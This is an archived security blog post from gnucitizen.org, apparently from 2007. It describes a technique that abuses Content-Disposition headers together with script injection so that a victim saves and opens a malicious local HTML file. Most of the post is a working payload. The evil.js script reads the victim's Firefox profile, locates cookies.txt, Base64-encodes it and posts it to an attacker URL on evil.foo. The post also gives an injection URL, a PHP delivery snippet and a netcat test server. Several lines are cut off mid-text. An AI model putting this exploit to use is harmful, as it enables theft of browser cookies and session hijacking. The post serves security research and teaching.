

Content-Disposition Hacking

Content-Disposition Hacking - Author not stated, gnucitizen.org.

- Published: date not stated
- Original: <<https://www.gnucitizen.org/blog/content-disposition-hacking>>
- Current location: <<https://www.gnucitizen.org/blog/content-disposition-hacking/>>
- Preserved from: <https://www.gnucitizen.org/blog/content-disposition-hacking/> (live) on 2026-08-09
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source from the Web Hacking Techniques Index collections, kept so the page going offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Content-Disposition Hacking

Mon, 05 Nov 2007 12:44:31 GMT

by pagvac

In a recent pentest, a colleague of mine pointed out to me a script/html injection vulnerability on one of the hosts we were testing. I then copied and pasted the GET request he forwarded to me on telnet and verified that JavaScript could indeed be injected through the non-sanitized parameter. There were no restrictions on the input length or types of characters. No filtering whatsoever. The attack goes as the following:

```
GET /cgi-bin/vulnerable.cgi?param=<script>alert(document.location)</script> HTTP/1.1
Host: www.target.foo
Connection: close
```

```
HTTP/1.1 200 OK
Server: Apache
**Content-Disposition: attachment; filename=button.html**
Content-Length: 41
Content-Type: application/octet-stream
```

```
<script>alert(document.location)</script>
```

This was very interesting. When I pasted the test URL (`http://www.target.foo/cgi-bin/vulnerable.cgi?param=<script>ale`

Perhaps ``vulnerable.cgi`` was a legacy script that used to be used for dynamically generating the HTML of a menu butto

```
http://victim.foo/cgi-bin/vulnerable.cgi?param=%3cscript%20src=http://evil.foo/evil.js%3e
```

You might be better off including the whole payload directly, as opposed to including it from a third-party site through

```
// evil.js - Adrian Pastor (pagvac) - GNUCITIZEN.org
document.write("<html><head></head><body><form method='POST'><input type='hidden' name='stolenfile'></for
// This code was written by Tyler Akins and has been placed in the
// public domain. It would be nice if you left this header intact.
// Base64 code from Tyler Akins -- http://rumkin.com
```

```
var keyStr = "ABCDEFGHIIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/-=";
```

```
function encode64(input) {
    var output = "";
    var chr1, chr2, chr3;
    var enc1, enc2, enc3, enc4;
    var i = 0;

    do {
        chr1 = input.charCodeAt(i++);
        chr2 = input.charCodeAt(i++);
        chr3 = input.charCodeAt(i++);

        enc1 = chr1 >> 2;
        enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
        enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
        enc4 = chr3 & 63;
```

```

    if (isNaN(chr2)) {
        enc3 = enc4 = 64;
    } else if (isNaN(chr3)) {
        enc4 = 64;
    }

    output = output + keyStr.charAt(enc1) + keyStr.charAt(enc2) +
        keyStr.charAt(enc3) + keyStr.charAt(enc4);
} while (i < input.length);

return output;
}
// end of Base64 code from Tyler Akins -- http://rumkin.com

// VARIABLE DECLARATIONS
var attackersURL = "http://evil.foo/xt.php"; // replace URL value with your own! for [example](https://chatbotkit.com/e
// interesting Mozilla Firefox files include cookies.txt, signons.txt, key3.db, bookmarks.bak
var j=0, found=0;
var strProfileContent, strFirefoxProfileLocation, strPayloadLocation, strProfileName, strHomeFolder;
var file2steal, strFile2StealContent, strTmp;

//alert(navigator.appName);

// if IE
if(navigator.appName=="Microsoft Internet Explorer")
{
    var req = new ActiveXObject("Microsoft.XMLHTTP");
    var reqB = new ActiveXObject("Microsoft.XMLHTTP");
}

else
{
    var req = new XMLHttpRequest();
    var reqB = new XMLHttpRequest();
}

strPayloadLocation=String(document.location);
document.write("strPayloadLocation: " + strPayloadLocation + "<br>");

// alert(strPayloadLocation.length);

if(!document.domain)
    document.write("<br>Running script on local context!!!<br><br>");
else

```

```

{
    alert("This file must be run locally (i.e.: Windows desktop)!");
    exit;
}

// get Windows home folder
for(j=0; j<strPayloadLocation.length; j++)
{
    //document.write(strPayloadLocation.charAt(j) + " ");
    if(strPayloadLocation.charAt(j)=="/")
    {
        ++found;

        // in order to obtain Windows user home folder we get up to 6th slash
        // from document.location. i.e.: file:///C:/Documents%20and%20Settings/p0wn3dUser/
        if(found==6)
        {
            strHomeFolder = strPayloadLocation.substring(0, j+1);
            document.write("strHomeFolder: " + strHomeFolder + "<br>");
            break;
        }
    }
}

strFirefoxProfileLocation=strHomeFolder+"Application Data/Mozilla/Firefox/profiles.ini";

if(!strHomeFolder)
{
    alert("This HTML file must be launched anywhere within your home folder!\ni.e.: \nC:\\Documents and Settings\\m
    exit;
}

document.write("strFirefoxProfileLocation: " + strFirefoxProfileLocation + "<br>");

// get contents of strFirefoxProfileLocation
try
{
    //document.write(strFirefoxProfileLocation+"<br>");
    req.open("GET", strFirefoxProfileLocation, null);
    req.send(null);
    //alert(file2steal);
    if(req.responseText)
    {

```

```

        strProfileContent=req.responseText;
        document.write("profileContent:<br><br>" + strProfileContent + "<br><br>");

        strProfileName=strProfileContent.substring(strProfileContent.indexOf("/") +1, strProfileContent.length);
        strTmp=strProfileName;
        //alert(strProfileName);
        //alert(strProfileName.indexOf("\n"));
        //strProfileName=strTmp.substring(0, strProfileName.indexOf("\n")-1);
        strProfileName=strProfileName.substring(0, strProfileName.indexOf("\n")-1);
        //strProfileName.indexOf("\ ")
        document.write("StrProfileName: " + strProfileName + "<br>");
        //document.write(strProfileContent.indexOf("/")+"<br>");
    }

} catch (e) {};

file2steal = strHomeFolder + "Application Data/Mozilla/Firefox/Profiles/" + strProfileName + "/cookies.txt";
document.write("file2steal: " + file2steal+"<br><br>");

// get contents of file2steal
try
{
    reqB.open("GET", file2steal, null);
    reqB.send(null);

    if(reqB.responseText)
    {
        strFile2StealContent=reqB.responseText;
        document.write("strFile2StealContent:<br><br>" + reqB.responseText + "<br><br>");
        strFile2StealContent=encode64(reqB.responseText);
    }

} catch (e) {};

document.forms[0].action=attackersURL;
//alert(document.forms[0].action);
document.forms[0].stolenfile.value=strFile2StealContent;
//alert(document.forms[0].stolenfile.value);

// confirm box only added for ethical reason. In a real-world scenario an attacker wouldnt even bother asking you
// for permission before stealing a file from your filesystem!
if(confirm("pagvac says:\n\nDo you really want to submit your \"cookies.txt\" file to "+attackersURL+"\n\n???"))
    document.forms[0].submit();
else

```

```
exit;
```

```
document.write("</body></html>");
```

The beauty of this attack is that the bad guy can exploit the trust the victim has on the `victim.foo` domain, since t

Needless to say, if you visit a site controlled by the attacker, the same effect can be accomplished by simply configuring

```
<?
```

```
header("Content-Disposition: attachment; filename=bad.html");
```

```
header("Content-Type: text/html");
```

```
readfile("http://www.gnucitizen.org/blog/web-pages-from-hell-2/theft_of_Win_FF_cookies.html");
```

```
?>
```

If you want to experiment with `Content-Disposition` headers, you can simply run a netcat server on the go. All you need

```
#!/bin/bash
```

```
# run-server.sh
```

```
while true
```

```
do
```

```
    cat response | nc -v -l -p55555
```

```
    # connect to localhost:55555 using your favorite browser
```

```
    sleep 2
```

```
done
```

Content of response file:

```
HTTP/1.1 200 OK
```

```
Server: test
```

```
content-disposition: attachment; filename=test.html
```

```
Content-length: 16
```

```
Content-Type: application/octet-stream
```

```
whatever content
```

Have fun and let me know if you find something interesting!